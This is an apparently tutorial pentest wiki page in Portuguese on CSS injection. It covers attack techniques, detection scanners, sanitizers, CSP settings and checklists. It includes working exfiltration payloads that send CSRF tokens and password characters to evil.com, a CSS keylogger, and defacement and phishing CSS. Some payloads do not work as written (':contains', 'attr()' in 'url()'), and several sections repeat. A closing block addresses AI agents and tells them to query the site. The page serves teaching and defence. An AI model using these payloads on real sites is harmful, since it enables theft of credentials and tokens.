# CSS Injection

## **🔍 Conceitos Fundamentais**

### **O que é CSS Injection?**

CSS Injection é uma vulnerabilidade que permite a um atacante injetar código CSS malicioso em uma página web, potencialmente levando a vazamento de dados, defacement ou ataques de phishing.

### **Princípio de Funcionamento**

```
Entrada Não Confiável → Processamento Inseguro → CSS Malicioso Executado
         ↓                       ↓                       ↓
   Dados do Usuário       Sanitização Fraca      Browser Renderiza CSS
```

### **Características do CSS Injection**

* **Contexto-dependente**: Explora renderização de CSS
* **Exfiltração de dados**: Pode vazar informações sensíveis
* **Ataques visuais**: Alteração de aparência da aplicação
* **Combinação com XSS**: Pode escalar para execução de código

### **Tipos de CSS Injection**

1. **CSS Injection Direto** - Injeção via inputs do usuário
2. **CSS Injection Refletido** - CSS refletido na resposta
3. **CSS Injection Armazenado** - CSS persistente no sistema
4. **CSS-based Keylogger** - Captura de teclas digitadas

***

## **⚔️ Mecanismos de Ataque**

### **Fluxo de Ataque CSS Injection**

```mermaid
sequenceDiagram
    participant A as Atacante
    participant V as Vítima
    participant S as Servidor Vulnerável
    participant E as Servidor do Atacante

    Note over A,S: FASE 1: Injeção do CSS
    A->>S: Envia CSS malicioso via input
    S->>S: Processa entrada sem sanitização
    S->>V: Retorna página com CSS injetado
    
    Note over V,E: FASE 2: Renderização e Exfiltração
    V->>V: Browser renderiza CSS malicioso
    V->>E: CSS força requisições para servidor atacante
    Note right of V: Dados são vazados via URLs
    
    Note over A,E: FASE 3: Coleta de Dados
    E-->>A: Registra dados vazados
    A->>E: Analisa logs para extrair informações
```

### **Vetores de Injeção Comuns**

```html
<!-- Campos de entrada -->
<input type="text" value="user_controlled">
<textarea>user_controlled</textarea>
<div contenteditable="true">user_controlled</div>

<!-- Atributos style -->
<div style="user_controlled"></div>
<span style="color: user_controlled"></span>

<!-- Classes CSS -->
<div class="user_controlled"></div>

<!-- URLs em CSS -->
<div style="background: url(user_controlled)"></div>
```

***

## **💉 Técnicas de Exploração**

### **1. Exfiltração de Dados via Attribute Selectors**

```css
/* Técnica para vazar valores de atributos */
input[name="csrf"][value^="a"] { background: url(http://evil.com/a); }
input[name="csrf"][value^="b"] { background: url(http://evil.com/b); }
input[name="csrf"][value^="c"] { background: url(http://evil.com/c); }
/* ... continua para todos caracteres */

/* Script para gerar selectors automaticamente */
const characters = 'abcdefghijklmnopqrstuvwxyz0123456789';
characters.split('').forEach(char => {
    const css = `input[name="token"][value^="${char}"] { 
        background: url(http://evil.com/token/${char}); 
    }`;
    // Injeta o CSS na página
});
```

### **2. Exfiltração de Caracteres Específicos**

```css
/* Vazamento caractere por caractere */
input[type="password"][value*="a"] { 
    background: url(http://evil.com/pass/a);
}
input[type="password"][value*="b"] { 
    background: url(http://evil.com/pass/b);
}

/* Para elementos de texto */
div#secret-data:contains("admin") {
    background: url(http://evil.com/found/admin);
}
```

### **3. CSS-based Keylogger**

```html
<style>
/* Captura teclas pressionadas via focus e atributos */
input[type="password"][value*="a"] { 
    background: url(http://evil.com/log?key=a);
}
input[type="password"][value*="b"] { 
    background: url(http://evil.com/log?key=b);
}
/* Repetir para todos caracteres */
</style>

<script>
// Atualizar atributo value em tempo real
document.addEventListener('keypress', (e) => {
    const target = e.target;
    if (target.type === 'password') {
        target.setAttribute('value', target.value + e.key);
    }
});
</script>
```

### **4. Defacement e Ataques Visuais**

```css
/* Alteração completa da aparência */
body {
    background: red !important;
    color: white !important;
}

/* Ocultação de elementos críticos */
#logout-button, #security-warning {
    display: none !important;
}

/* Criação de elementos falsos */
body::before {
    content: "Sistema em Manutenção. Digite sua senha:";
    display: block;
    background: yellow;
    padding: 20px;
}

/* Phishing via CSS */
.login-form {
    background: url(http://evil.com/fake-login-background.jpg);
}
```

### **5. Ataques com Importação de CSS Externo**

```css
/* Importação de CSS malicioso externo */
@import url("http://evil.com/malicious.css");

/* Load de fontes externas */
@font-face {
    font-family: 'EvilFont';
    src: url('http://evil.com/font?data=exfil');
}

/* Exploração via expression() (IE antigo) */
body {
    color: expression(alert('XSS via CSS'));
}
```

### **6. Exfiltração com Pseudoelementos**

```css
/* Vazamento via conteúdo de pseudoelementos */
#user-data::after {
    content: attr(data-secret);
    background: url(http://evil.com/leak?data=attr(data-secret));
}

/* Combinação com animações CSS */
@keyframes exfil {
    from { background: url(http://evil.com/start); }
    to { background: url(http://evil.com/end); }
}

.secret-element {
    animation: exfil 0.1s;
}
```

***

## **💥 Impacto e Cenários**

{% stepper %}
{% step %}

#### **1. Roubo de Tokens CSRF**

```css
/* Exfiltração de token CSRF */
input[name="csrf_token"][value^="a"] { 
    background: url(//evil.com/csrf/a); 
}
input[name="csrf_token"][value^="b"] { 
    background: url(//evil.com/csrf/b); 
}
/* ... para todos caracteres e posições */
```

{% endstep %}

{% step %}

#### **2. Captura de Dados de Formulários**

```css
/* Monitoramento de campos específicos */
input[type="email"][value*="@"] {
    background: url(//evil.com/email?value=attr(value));
}

input[type="credit-card"] {
    background: url(//evil.com/cc-detected);
}
```

{% endstep %}

{% step %}

#### **3. Ataque a Sistemas de Autenticação**

```css
/* Detecta quando usuário está logado */
.user-logged-in .profile-link {
    background: url(//evil.com/user-logged-in);
}

/* Identifica usuários específicos */
.admin-user #admin-panel {
    background: url(//evil.com/admin-detected);
}
```

{% endstep %}
{% endstepper %}

### **Impacto por Tipo de Aplicação**

```json
{
  "aplicacoes_financeiras": {
    "impacto": "ALTO",
    "cenarios": [
      "Roubo de dados bancários",
      "Captura de tokens de transação",
      "Modificação de interfaces"
    ]
  },
  "redes_sociais": {
    "impacto": "MÉDIO-ALTO",
    "cenarios": [
      "Vazamento de mensagens privadas",
      "Identificação de usuários",
      "Manipulação de conteúdo"
    ]
  },
  "ecommerce": {
    "impacto": "MÉDIO",
    "cenarios": [
      "Roubo de dados de cartão",
      "Alteração de preços visuais",
      "Redirecionamento de compras"
    ]
  },
  "sistemas_internos": {
    "impacto": "ALTO",
    "cenarios": [
      "Vazamento de dados sensíveis",
      "Bypass de controles de segurança",
      "Ataques a infraestrutura"
    ]
  }
}
```

***

## **🔎 Detecção e Identificação**

### **Indicadores de Vulnerabilidade**

```bash
# Pontos de verificação para CSS Injection
- Entradas de usuário refletidas em atributos style
- Controle sobre classes CSS ou IDs
- Capacidade de inserir conteúdo em <style> tags
- Upload de arquivos CSS não validados
- Parâmetros URL que controlam estilos
```

{% stepper %}
{% step %}

#### **1. Testes Básicos de Injeção**

```html
<!-- Teste de injeção em atributos style -->
" style="background: red;"
" style="background: url(javascript:alert(1));"
" style="background: url(http://evil.com);"

<!-- Teste de injeção em classes -->
" class="user-controlled malicious-class"
" class="|background:red|"

<!-- Teste com pseudoelementos -->
" style="content: 'Injected';"
```

{% endstep %}

{% step %}

#### **2. Detecção de Reflexão**

```javascript
// Script para identificar pontos de injeção
function findCSSInjectionPoints() {
    const inputs = document.querySelectorAll('input, textarea, [contenteditable]');
    const injectionPoints = [];
    
    inputs.forEach(input => {
        // Testa se o valor é refletido em algum lugar
        const testValue = `CSS_INJECTION_TEST_${Date.now()}`;
        input.value = testValue;
        
        // Verifica reflexão no DOM
        if (document.documentElement.outerHTML.includes(testValue)) {
            injectionPoints.push({
                element: input,
                reflection: 'found'
            });
        }
    });
    
    return injectionPoints;
}
```

{% endstep %}

{% step %}

#### **3. Scanner de Vulnerabilidades CSS**

```python
#!/usr/bin/env python3
# css_injection_scanner.py

import requests
from urllib.parse import urljoin
import re

class CSSInjectionScanner:
    def __init__(self, target_url):
        self.target = target_url
        self.session = requests.Session()
        self.vulnerabilities = []
    
    def test_style_attribute(self, form_data):
        """Testa injeção em atributos style"""
        payloads = [
            'style="background: red;"',
            'style="background: url(http://evil.com)"',
            'style="content: \\'injected\\';"'
        ]
        
        for payload in payloads:
            modified_data = {}
            for key, value in form_data.items():
                modified_data[key] = value + payload
            
            response = self.session.post(self.target, data=modified_data)
            if payload in response.text:
                self.vulnerabilities.append({
                    'type': 'Style Attribute Injection',
                    'payload': payload,
                    'context': 'Form parameter'
                })
    
    def test_css_class_injection(self, form_data):
        """Testa injeção em classes CSS"""
        payloads = [
            'malicious-class',
            'class1 class2',
            '"></style><style>body{background:red}</style>'
        ]
        
        for payload in payloads:
            modified_data = {}
            for key, value in form_data.items():
                modified_data[key] = payload
            
            response = self.session.post(self.target, data=modified_data)
            if payload in response.text and 'class=' in response.text:
                self.vulnerabilities.append({
                    'type': 'CSS Class Injection',
                    'payload': payload,
                    'context': 'Class attribute'
                })
    
    def generate_report(self):
        return {
            'target': self.target,
            'vulnerabilities_found': len(self.vulnerabilities),
            'details': self.vulnerabilities
        }
```

{% endstep %}
{% endstepper %}

### **Ferramentas de Análise Automatizada**

{% stepper %}
{% step %}

#### **1. Extensão para Browser - Detector CSS**

```javascript
// Content script para detectar CSS injection
const observer = new MutationObserver((mutations) => {
    mutations.forEach((mutation) => {
        mutation.addedNodes.forEach((node) => {
            if (node.nodeType === 1) { // Element node
                checkForCSSInjection(node);
            }
        });
    });
});

function checkForCSSInjection(element) {
    // Verifica style attributes
    const style = element.getAttribute('style');
    if (style && isSuspiciousCSS(style)) {
        console.warn('Possível CSS Injection detectado:', element);
        reportInjection(element, style);
    }
    
    // Verifica conteúdo em tags style
    if (element.tagName === 'STYLE') {
        const content = element.textContent;
        if (isSuspiciousCSS(content)) {
            console.warn('CSS malicioso em tag style:', element);
        }
    }
}

function isSuspiciousCSS(css) {
    const suspiciousPatterns = [
        /url\([^)]*evil/gi,
        /expression\(/gi,
        /javascript:/gi,
        /@import[^;]*evil/gi
    ];
    
    return suspiciousPatterns.some(pattern => pattern.test(css));
}

// Iniciar observação
observer.observe(document.documentElement, {
    childList: true,
    subtree: true
});
```

{% endstep %}

{% step %}

#### **2. Ferramenta de Monitoramento em Tempo Real**

```javascript
// Monitor para detectar CSS injection em produção
class CSSInjectionMonitor {
    constructor() {
        this.suspiciousPatterns = [
            /url\([^)]*\)/gi,
            /@import/gi,
            /expression\(/gi,
            /javascript:/gi,
            /data:/gi
        ];
        
        this.startMonitoring();
    }
    
    startMonitoring() {
        // Monitora mudanças no DOM
        const observer = new MutationObserver((mutations) => {
            mutations.forEach((mutation) => {
                this.checkMutation(mutation);
            });
        });
        
        observer.observe(document.documentElement, {
            attributes: true,
            childList: true,
            subtree: true,
            attributeFilter: ['style', 'class']
        });
    }
    
    checkMutation(mutation) {
        if (mutation.type === 'attributes') {
            this.checkAttributeChange(mutation);
        } else if (mutation.type === 'childList') {
            mutation.addedNodes.forEach(node => {
                this.checkNewElement(node);
            });
        }
    }
    
    checkAttributeChange(mutation) {
        if (mutation.attributeName === 'style') {
            const newValue = mutation.target.getAttribute('style');
            if (this.isSuspiciousCSS(newValue)) {
                this.reportIncident('Style attribute injection', mutation.target);
            }
        }
    }
    
    checkNewElement(element) {
        if (element.nodeType === 1 && element.tagName === 'STYLE') {
            const content = element.textContent;
            if (this.isSuspiciousCSS(content)) {
                this.reportIncident('Malicious style tag', element);
            }
        }
    }
    
    isSuspiciousCSS(css) {
        return this.suspiciousPatterns.some(pattern => pattern.test(css));
    }
    
    reportIncident(type, element) {
        const report = {
            type: type,
            element: element.outerHTML,
            timestamp: new Date().toISOString(),
            url: window.location.href
        };
        
        // Envia relatório para servidor de segurança
        fetch('/security/incident', {
            method: 'POST',
            headers: { 'Content-Type': 'application/json' },
            body: JSON.stringify(report)
        });
        
        console.warn('CSS Injection detectado:', report);
    }
}

// Iniciar monitoramento
new CSSInjectionMonitor();
```

{% endstep %}
{% endstepper %}

### **Testes Manuais com Developer Tools**

#### **1. Console de Teste CSS**

```javascript
// Funções úteis para testar CSS injection no console
function testCSSInjectionPoints() {
    const testPayload = 'INJECTION_TEST_' + Date.now();
    const elements = document.querySelectorAll('[style], .user-controlled');
    
    elements.forEach(el => {
        const originalContent = el.innerHTML;
        el.innerHTML = testPayload;
        
        if (document.documentElement.outerHTML.includes(testPayload)) {
            console.log('Ponto de injeção encontrado:', el);
        }
        
        el.innerHTML = originalContent;
    });
}

function checkStyleReflection() {
    const inputs = document.querySelectorAll('input, textarea');
    const testValue = 'style="background:red"';
    
    inputs.forEach(input => {
        const original = input.value;
        input.value = testValue;
        
        // Dispara evento de change
        input.dispatchEvent(new Event('change', { bubbles: true }));
        
        // Verifica se foi refletido
        if (document.querySelector(`[style*="background:red"]`)) {
            console.warn('Reflexão de style detectada em:', input);
        }
        
        input.value = original;
    });
}
```

***

## **🛡️ Mitigação e Prevenção**

### **Estratégias de Defesa em Camadas**

#### **1. Sanitização de Entradas**

```javascript
// Sanitizador CSS seguro
class CSSSanitizer {
    static sanitizeStyle(styleValue) {
        // Remove funções perigosas
        const dangerousPatterns = [
            /expression\(/gi,
            /javascript:/gi,
            /vbscript:/gi,
            /url\([^)]*\)/gi,
            /@import/gi,
            /@charset/gi
        ];
        
        let sanitized = styleValue;
        dangerousPatterns.forEach(pattern => {
            sanitized = sanitized.replace(pattern, '');
        });
        
        // Permite apenas propriedades seguras
        const allowedProperties = [
            'color', 'background-color', 'font-size', 'margin', 'padding',
            'border', 'width', 'height', 'display', 'position'
        ];
        
        const safeRules = [];
        const rules = sanitized.split(';');
        
        rules.forEach(rule => {
            const [property, value] = rule.split(':').map(s => s.trim());
            if (allowedProperties.includes(property) && value) {
                safeRules.push(`${property}: ${value}`);
            }
        });
        
        return safeRules.join('; ');
    }
    
    static sanitizeClassName(className) {
        // Remove caracteres perigosos de nomes de classe
        return className.replace(/[^a-zA-Z0-9-_]/g, '');
    }
}

// Uso no backend
app.post('/user-profile', (req, res) => {
    const userStyle = CSSSanitizer.sanitizeStyle(req.body.custom_style);
    const userClass = CSSSanitizer.sanitizeClassName(req.body.theme_class);
    
    // Salvar dados sanitizados
    saveUserPreferences({ style: userStyle, class: userClass });
});
```

#### **2. Content Security Policy (CSP)**

```html
<!-- CSP para prevenir CSS injection -->
<meta http-equiv="Content-Security-Policy" 
      content="style-src 'self'; 
               font-src 'self'; 
               connect-src 'self';
               object-src 'none';
               base-uri 'self'">

<!-- Configuração Nginx -->
add_header Content-Security-Policy "style-src 'self' 'unsafe-inline'; font-src 'self';";
```

#### **3. Validação no Frontend**

```javascript
// Validação de entrada no cliente
function validateUserInput(input) {
    const cssDangerous = /(expression|javascript|vbscript|@import|url\(|@charset)/gi;
    if (cssDangerous.test(input)) {
        throw new Error('Entrada contém CSS potencialmente perigoso');
    }
    return input;
}

// Sanitização para atributos style
function safeSetStyle(element, styleString) {
    const sanitized = CSSSanitizer.sanitizeStyle(styleString);
    element.setAttribute('style', sanitized);
}
```

#### **4. Encoding e Escaping**

```javascript
// Encoding para diferentes contextos
class OutputEncoder {
    static encodeForCSS(input) {
        return input.replace(/[^a-zA-Z0-9]/g, '\\$&');
    }
    
    static encodeForHTML(input) {
        const div = document.createElement('div');
        div.textContent = input;
        return div.innerHTML;
    }
    
    static encodeForAttribute(input) {
        return input.replace(/"/g, '&quot;').replace(/'/g, '&#x27;');
    }
}

// Uso em templates
function renderUserContent(userContent) {
    return `
        <div class="${OutputEncoder.encodeForAttribute(userContent.class)}" 
             style="${OutputEncoder.encodeForCSS(userContent.style)}">
            ${OutputEncoder.encodeForHTML(userContent.text)}
        </div>
    `;
}
```

### **Padrões de Codificação Seguros**

#### **1. Framework Seguro para Estilos Dinâmicos**

```javascript
// Sistema seguro para estilos controlados pelo usuário
class SafeStyleManager {
    constructor() {
        this.allowedProperties = {
            color: true,
            'background-color': true,
            'font-size': true,
            'text-align': true,
            margin: true,
            padding: true
        };
        
        this.allowedValues = {
            color: /^(#([0-9a-f]{3}){1,2}|rgb\(\d{1,3},\s*\d{1,3},\s*\d{1,3}\)|rgba\(\d{1,3},\s*\d{1,3},\s*\d{1,3},\s*(0|1|0?\.\d+)\)|black|white|red|blue|green)$/i,
            'font-size': /^(\d+(px|em|rem|%)|small|medium|large)$/i,
            'text-align': /^(left|right|center|justify)$/i
        };
    }
    
    applySafeStyles(element, styleObject) {
        for (const [property, value] of Object.entries(styleObject)) {
            if (this.isPropertyAllowed(property, value)) {
                element.style[property] = value;
            }
        }
    }
    
    isPropertyAllowed(property, value) {
        if (!this.allowedProperties[property]) {
            return false;
        }
        
        const valuePattern = this.allowedValues[property];
        if (valuePattern && !valuePattern.test(value)) {
            return false;
        }
        
        return true;
    }
}

// Uso
const styleManager = new SafeStyleManager();
const userStyles = JSON.parse(userProvidedStyles);
styleManager.applySafeStyles(document.getElementById('user-content'), userStyles);
```

#### **2. Sistema de Templates Seguro**

```javascript
// Template engine com proteção CSS
class SecureTemplateEngine {
    static render(template, data) {
        return template.replace(/\{\{(\w+)\}\}/g, (match, key) => {
            const value = data[key] || '';
            
            switch (key) {
                case 'style':
                    return CSSSanitizer.sanitizeStyle(value);
                case 'class':
                    return CSSSanitizer.sanitizeClassName(value);
                default:
                    return OutputEncoder.encodeForHTML(value);
            }
        });
    }
}

// Template seguro
const template = `
    <div class="{{class}}" style="{{style}}">
        <h1>{{title}}</h1>
        <p>{{content}}</p>
    </div>
`;

const safeHtml = SecureTemplateEngine.render(template, userData);
```

***

## **🔧 Ferramentas e Testes**

### **Ferramentas de Teste Automatizado**

{% stepper %}
{% step %}

#### **1. Scanner CSS Injection**

```python
#!/usr/bin/env python3
# advanced_css_scanner.py

import requests
import re
from bs4 import BeautifulSoup

class AdvancedCSSScanner:
    def __init__(self, target_url):
        self.target = target_url
        self.session = requests.Session()
        self.vulnerabilities = []
    
    def crawl_forms(self):
        """Encontra todos os formulários no site"""
        response = self.session.get(self.target)
        soup = BeautifulSoup(response.text, 'html.parser')
        return soup.find_all('form')
    
    def test_css_injection(self):
        """Testa várias técnicas de CSS injection"""
        forms = self.crawl_forms()
        
        for form in forms:
            form_details = self.get_form_details(form)
            self.test_form_css_injection(form_details)
    
    def test_form_css_injection(self, form_details):
        """Testa injeção CSS em formulário específico"""
        payloads = self.generate_css_payloads()
        
        for payload in payloads:
            data = {}
            for input_tag in form_details['inputs']:
                if input_tag['type'] == 'hidden':
                    data[input_tag['name']] = input_tag['value']
                else:
                    data[input_tag['name']] = payload
            
            response = self.session.post(form_details['action'], data=data)
            if self.detect_successful_injection(response, payload):
                self.vulnerabilities.append({
                    'form': form_details['action'],
                    'payload': payload,
                    'type': 'CSS Injection'
                })
    
    def generate_css_payloads(self):
        """Gera payloads de CSS injection"""
        return [
            'style="background:red"',
            'class="malicious"',
            '"><style>body{background:red}</style>',
            'background:url(http://evil.com)',
            'expression(alert(1))'
        ]
    
    def detect_successful_injection(self, response, payload):
        """Detecta se a injeção foi bem-sucedida"""
        clean_payload = payload.split('=')[0] if '=' in payload else payload
        return clean_payload in response.text
    
    def generate_report(self):
        return {
            'target': self.target,
            'vulnerabilities': self.vulnerabilities
        }
```

{% endstep %}

{% step %}

#### **2. Ferramenta de Monitoramento em Tempo Real**

```javascript
// Monitor para detectar CSS injection em produção
class CSSInjectionMonitor {
    constructor() {
        this.suspiciousPatterns = [
            /url\([^)]*\)/gi,
            /@import/gi,
            /expression\(/gi,
            /javascript:/gi,
            /data:/gi
        ];
        
        this.startMonitoring();
    }
    
    startMonitoring() {
        // Monitora mudanças no DOM
        const observer = new MutationObserver((mutations) => {
            mutations.forEach((mutation) => {
                this.checkMutation(mutation);
            });
        });
        
        observer.observe(document.documentElement, {
            attributes: true,
            childList: true,
            subtree: true,
            attributeFilter: ['style', 'class']
        });
    }
    
    checkMutation(mutation) {
        if (mutation.type === 'attributes') {
            this.checkAttributeChange(mutation);
        } else if (mutation.type === 'childList') {
            mutation.addedNodes.forEach(node => {
                this.checkNewElement(node);
            });
        }
    }
    
    checkAttributeChange(mutation) {
        if (mutation.attributeName === 'style') {
            const newValue = mutation.target.getAttribute('style');
            if (this.isSuspiciousCSS(newValue)) {
                this.reportIncident('Style attribute injection', mutation.target);
            }
        }
    }
    
    checkNewElement(element) {
        if (element.nodeType === 1 && element.tagName === 'STYLE') {
            const content = element.textContent;
            if (this.isSuspiciousCSS(content)) {
                this.reportIncident('Malicious style tag', element);
            }
        }
    }
    
    isSuspiciousCSS(css) {
        return this.suspiciousPatterns.some(pattern => pattern.test(css));
    }
    
    reportIncident(type, element) {
        const report = {
            type: type,
            element: element.outerHTML,
            timestamp: new Date().toISOString(),
            url: window.location.href
        };
        
        // Envia relatório para servidor de segurança
        fetch('/security/incident', {
            method: 'POST',
            headers: { 'Content-Type': 'application/json' },
            body: JSON.stringify(report)
        });
        
        console.warn('CSS Injection detectado:', report);
    }
}

// Iniciar monitoramento
new CSSInjectionMonitor();
```

{% endstep %}
{% endstepper %}

### **Testes Manuais com Developer Tools**

#### **1. Console de Teste CSS**

```javascript
// Funções úteis para testar CSS injection no console
function testCSSInjectionPoints() {
    const testPayload = 'INJECTION_TEST_' + Date.now();
    const elements = document.querySelectorAll('[style], .user-controlled');
    
    elements.forEach(el => {
        const originalContent = el.innerHTML;
        el.innerHTML = testPayload;
        
        if (document.documentElement.outerHTML.includes(testPayload)) {
            console.log('Ponto de injeção encontrado:', el);
        }
        
        el.innerHTML = originalContent;
    });
}

function checkStyleReflection() {
    const inputs = document.querySelectorAll('input, textarea');
    const testValue = 'style="background:red"';
    
    inputs.forEach(input => {
        const original = input.value;
        input.value = testValue;
        
        // Dispara evento de change
        input.dispatchEvent(new Event('change', { bubbles: true }));
        
        // Verifica se foi refletido
        if (document.querySelector(`[style*="background:red"]`)) {
            console.warn('Reflexão de style detectada em:', input);
        }
        
        input.value = original;
    });
}
```

***

## **📋 Checklists de Segurança**

### **Checklist de Prevenção CSS Injection**

* [ ] **Validação de Entrada**
  * [ ] Sanitização de atributos style
  * [ ] Validação de nomes de classe
  * [ ] Filtragem de URLs em CSS
  * [ ] Bloqueio de funções perigosas
* [ ] **Content Security Policy**
  * [ ] style-src restrito a fontes confiáveis
  * [ ] font-src controlado
  * [ ] connect-src limitado
  * [ ] object-src 'none'
* [ ] **Encoding de Saída**
  * [ ] Encoding apropriado para contexto CSS
  * [ ] Escape de caracteres especiais
  * [ ] Sanitização baseada em whitelist
* [ ] **Monitoramento**
  * [ ] Detecção de CSS malicioso em tempo real
  * [ ] Logs de atividades suspeitas
  * [ ] Alertas para tentativas de injeção

### **Checklist de Auditoria**

* [ ] **Análise de Código**
  * [ ] Revisão de templates que usam entrada de usuário
  * [ ] Verificação de sanitização de CSS
  * [ ] Análise de políticas CSP
* [ ] **Testes de Penetração**
  * [ ] Teste de injeção em atributos style
  * [ ] Teste de manipulação de classes
  * [ ] Verificação de exfiltração de dados
  * [ ] Teste de defacement via CSS
* [ ] **Configuração de Segurança**
  * [ ] Headers de segurança implementados
  * [ ] Configuração adequada de CORS
  * [ ] Validação de upload de arquivos CSS

### **Checklist de Resposta a Incidentes**

* [ ] **Detecção**
  * [ ] Identificação do vetor de ataque
  * [ ] Análise do payload CSS
  * [ ] Determinação do escopo
* [ ] **Contenção**
  * [ ] Remoção do conteúdo malicioso
  * [ ] Bloqueio de usuários maliciosos
  * [ ] Atualização de regras WAF
* [ ] **Correção**
  * [ ] Implementação de sanitização adequada
  * [ ] Revisão de pontos de injeção
  * [ ] Atualização de políticas de segurança

***

## **📊 Exemplos de Implementação Segura**

### **Configuração Completa de Segurança**

```javascript
// Sistema completo de proteção CSS
class CSSSecurityManager {
    constructor() {
        this.allowedCSSProperties = new Set([
            'color', 'background-color', 'font-size', 'font-family',
            'text-align', 'margin', 'padding', 'border', 'width', 'height'
        ]);
        
        this.allowedURLPatterns = [
            /^\/static\//,
            /^data:image\/(png|jpeg|gif);base64/,
            /^https:\/\/trusted-cdn\.com\//
        ];
    }
    
    sanitizeUserCSS(cssString) {
        const rules = cssString.split(';');
        const safeRules = [];
        
        for (const rule of rules) {
            const [property, value] = rule.split(':').map(s => s.trim());
            
            if (this.isSafeCSSProperty(property, value)) {
                safeRules.push(`${property}: ${value}`);
            }
        }
        
        return safeRules.join('; ');
    }
    
    isSafeCSSProperty(property, value) {
        if (!this.allowedCSSProperties.has(property)) {
            return false;
        }
        
        // Verifica URLs
        if (value.includes('url(')) {
            return this.isSafeURL(value);
        }
        
        // Verifica funções perigosas
        if (value.includes('expression(') || value.includes('javascript:')) {
            return false;
        }
        
        return true;
    }
    
    isSafeURL(urlValue) {
        const urlMatch = urlValue.match(/url\(['"]?([^'")]*)['"]?\)/);
        if (!urlMatch) return false;
        
        const url = urlMatch[1];
        return this.allowedURLPatterns.some(pattern => pattern.test(url));
    }
}

// Uso em aplicação web
const securityManager = new CSSSecurityManager();

app.post('/user-customization', (req, res) => {
    const userCSS = req.body.custom_css;
    const safeCSS = securityManager.sanitizeUserCSS(userCSS);
    
    // Salvar CSS seguro
    saveUserCustomization(req.user.id, { css: safeCSS });
    
    res.json({ success: true, appliedCSS: safeCSS });
});
```

### **Configuração CSP Avançada**

```nginx
# Configuração Nginx para máxima segurança CSS
server {
    listen 443 ssl;
    server_name example.com;
    
    # Content Security Policy
    add_header Content-Security-Policy "
        default-src 'self';
        style-src 'self' 'unsafe-inline';
        font-src 'self' data:;
        img-src 'self' data: https:;
        connect-src 'self';
        object-src 'none';
        base-uri 'self';
        form-action 'self';
        frame-ancestors 'none';
    " always;
    
    # Outros headers de segurança
    add_header X-Content-Type-Options "nosniff" always;
    add_header X-Frame-Options "DENY" always;
    add_header X-XSS-Protection "1; mode=block" always;
    
    location / {
        proxy_pass http://app_server;
    }
}
```

***

## **⚠️ Considerações Finais**

### **Mitos Comuns sobre CSS Injection**

* ❌ "CSS Injection é inofensivo" → **FALSO** (pode vazar dados sensíveis)
* ❌ "CSP resolve tudo" → **FALSO** (configuração inadequada ainda permite ataques)
* ❌ "Apenas inputs de texto são vulneráveis" → **FALSO** (múltiplos vetores)
* ❌ "Sanitização HTML previne CSS Injection" → **FALSO** (são camadas diferentes)

### **Boas Práticas Essenciais**

1. **Defesa em Profundidade**: Múltiplas camadas de proteção
2. **Princípio do Menor Privilégio**: Limitar o que CSS pode fazer
3. **Validação Rigorosa**: Whitelist em vez de blacklist
4. **Monitoramento Contínuo**: Detectar tentativas de exploração

### **Tendências e Futuro**

* Ataques CSS mais sofisticados com novas features
* Combinação com outras vulnerabilidades
* Ataques a aplicações mobile via WebView
* Exploração de CSS em email clients

**🔐 Lembre-se**: CSS Injection pode ser a porta de entrada para ataques mais sérios. Implemente proteções adequadas e teste regularmente suas defesas.

***

## **🚀 Próximos Passos**

### **Ações Imediatas**

1. **Auditar aplicações** existentes para vulnerabilidades CSS
2. **Implementar CSP** adequado
3. **Treinar desenvolvedores** em sanitização segura

### **Melhorias Contínuas**

1. **Automatizar testes** de segurança CSS
2. **Implementar monitoramento** em tempo real
3. **Manter-se atualizado** sobre novas técnicas

### **Recursos Adicionais**

* [OWASP CSS Injection](https://owasp.org/www-community/attacks/CSS_Injection)
* [MDN Content Security Policy](https://developer.mozilla.org/en-US/docs/Web/HTTP/CSP)
* [CSS Security Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/Cross_Site_Scripting_Prevention_Cheat_Sheet.html)

**🎯 Objetivo Final**: Desenvolver uma cultura onde a segurança CSS seja parte integrante do desenvolvimento, não uma reflexão tardia.


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://0xmorte.gitbook.io/bibliadopentestbr/tecnicas/web/front-end/css-injection.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
